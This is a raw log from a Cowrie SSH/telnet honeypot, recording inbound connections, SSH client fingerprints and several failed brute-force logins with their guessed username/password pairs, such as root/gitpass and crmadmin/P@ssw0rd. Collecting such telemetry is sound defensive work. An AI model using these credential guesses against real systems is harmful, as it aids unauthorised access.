{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37314,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee0d9f63eb7","protocol":"telnet","message":"New connection: 134.209.8.29:37314 (159.203.135.109:23) [session: cee0d9f63eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:20.894732Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":42490,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc95b960f61d","protocol":"ssh","message":"New connection: 34.135.200.178:42490 (10.17.0.5:22) [session: bc95b960f61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:20.925294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:20.929977Z","src_ip":"34.135.200.178","session":"bc95b960f61d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:20.965570Z","src_ip":"34.135.200.178","session":"bc95b960f61d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpass","message":"login attempt [root/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:21.140803Z","src_ip":"34.135.200.178","session":"bc95b960f61d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37300,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7a3acb629a","protocol":"telnet","message":"New connection: 134.209.8.29:37300 (159.203.135.109:23) [session: 5f7a3acb629a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:21.711767Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:22.182694Z","src_ip":"34.135.200.178","session":"bc95b960f61d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52612,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bab6a249de","protocol":"telnet","message":"New connection: 134.209.8.29:52612 (159.203.135.109:23) [session: 20bab6a249de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:24.878467Z"}
{"eventid":"cowrie.session.closed","duration":4.607139348983765,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:26.318770Z","src_ip":"134.209.8.29","session":"5f7a3acb629a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.109688758850098,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:27.004304Z","src_ip":"134.209.8.29","session":"cee0d9f63eb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":55986,"dst_ip":"10.17.0.5","dst_port":22,"session":"5352da2e5660","protocol":"ssh","message":"New connection: 147.50.231.135:55986 (10.17.0.5:22) [session: 5352da2e5660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:29.399387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:29.405906Z","src_ip":"147.50.231.135","session":"5352da2e5660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:29.663027Z","src_ip":"147.50.231.135","session":"5352da2e5660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.249319553375244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:29.765771Z","src_ip":"134.209.8.29","session":"00193b1cce46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"P@ssw0rd","message":"login attempt [crmadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:30.703279Z","src_ip":"147.50.231.135","session":"5352da2e5660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.522175550460815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:31.490713Z","src_ip":"194.233.64.34","session":"dda0cb61d5bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53092,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5174c1388ff","protocol":"telnet","message":"New connection: 134.209.8.29:53092 (159.203.135.109:23) [session: e5174c1388ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:31.924127Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:31.967400Z","src_ip":"147.50.231.135","session":"5352da2e5660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59796,"dst_ip":"10.17.0.5","dst_port":23,"session":"13dceab50acc","protocol":"telnet","message":"New connection: 38.54.119.93:59796 (10.17.0.5:23) [session: 13dceab50acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:37.656857Z"}
{"eventid":"cowrie.session.closed","duration":5.8289573192596436,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:37.752971Z","src_ip":"134.209.8.29","session":"e5174c1388ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53104,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2168e9acda2","protocol":"telnet","message":"New connection: 134.209.8.29:53104 (159.203.135.109:23) [session: f2168e9acda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:40.017382Z"}
{"eventid":"cowrie.session.closed","duration":5.043092250823975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:42.699812Z","src_ip":"38.54.119.93","session":"13dceab50acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35954,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c55f2b8da9","protocol":"telnet","message":"New connection: 38.54.119.93:35954 (10.17.0.5:23) [session: 54c55f2b8da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:45.013452Z"}
{"eventid":"cowrie.session.closed","duration":30.513259410858154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:46.155560Z","src_ip":"194.233.64.34","session":"565ea9cfd009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":14316,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae491bc6945f","protocol":"ssh","message":"New connection: 205.254.166.101:14316 (159.203.135.109:22) [session: ae491bc6945f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:48.941865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:48.947513Z","src_ip":"205.254.166.101","session":"ae491bc6945f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:49.165296Z","src_ip":"205.254.166.101","session":"ae491bc6945f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":52764,"dst_ip":"10.17.0.5","dst_port":22,"session":"636d59859e16","protocol":"ssh","message":"New connection: 150.95.157.171:52764 (10.17.0.5:22) [session: 636d59859e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:49.486476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:49.491088Z","src_ip":"150.95.157.171","session":"636d59859e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:49.648655Z","src_ip":"150.95.157.171","session":"636d59859e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8f277f8021f","protocol":"telnet","message":"New connection: 38.54.119.93:40336 (10.17.0.5:23) [session: b8f277f8021f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:49.958494Z"}
{"eventid":"cowrie.login.failed","username":"ut99server","password":"ut99server","message":"login attempt [ut99server/ut99server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:50.033316Z","src_ip":"205.254.166.101","session":"ae491bc6945f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"P@ssw0rd","message":"login attempt [crmadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:50.309986Z","src_ip":"150.95.157.171","session":"636d59859e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:51.244378Z","src_ip":"205.254.166.101","session":"ae491bc6945f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:51.471937Z","src_ip":"150.95.157.171","session":"636d59859e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34304,"dst_ip":"159.203.135.109","dst_port":23,"session":"20f10eab4582","protocol":"telnet","message":"New connection: 134.209.8.29:34304 (159.203.135.109:23) [session: 20f10eab4582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:51.476771Z"}
{"eventid":"cowrie.session.closed","duration":5.029322624206543,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:54.987680Z","src_ip":"38.54.119.93","session":"b8f277f8021f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34320,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ade17cf9bb","protocol":"telnet","message":"New connection: 134.209.8.29:34320 (159.203.135.109:23) [session: 09ade17cf9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:55.171969Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34328,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a8f508bcb3f","protocol":"telnet","message":"New connection: 134.209.8.29:34328 (159.203.135.109:23) [session: 1a8f508bcb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:59.253005Z"}
{"eventid":"cowrie.session.closed","duration":4.6850745677948,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:21:59.856915Z","src_ip":"134.209.8.29","session":"09ade17cf9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.29755997657776,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:00.342385Z","src_ip":"134.209.8.29","session":"383026154741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00503611564636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:03.800242Z","src_ip":"38.54.119.93","session":"18d9b2b4f250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":57204,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c335712f683","protocol":"ssh","message":"New connection: 34.135.200.178:57204 (10.17.0.5:22) [session: 7c335712f683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:07.992040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:07.998035Z","src_ip":"34.135.200.178","session":"7c335712f683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:08.035612Z","src_ip":"34.135.200.178","session":"7c335712f683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2018","message":"login attempt [root/server2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:08.223477Z","src_ip":"34.135.200.178","session":"7c335712f683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:09.268919Z","src_ip":"34.135.200.178","session":"7c335712f683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15110,"dst_ip":"159.203.135.109","dst_port":22,"session":"491d402327a2","protocol":"ssh","message":"New connection: 194.59.206.2:15110 (159.203.135.109:22) [session: 491d402327a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:15.371183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:15.377465Z","src_ip":"194.59.206.2","session":"491d402327a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:15.469710Z","src_ip":"194.59.206.2","session":"491d402327a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:15.566347Z","src_ip":"194.59.206.2","session":"491d402327a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46532,"dst_ip":"159.203.135.109","dst_port":23,"session":"65953a953236","protocol":"telnet","message":"New connection: 134.209.8.29:46532 (159.203.135.109:23) [session: 65953a953236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:16.306825Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46540,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd35045e26e9","protocol":"telnet","message":"New connection: 134.209.8.29:46540 (159.203.135.109:23) [session: dd35045e26e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:22:20.179908Z"}
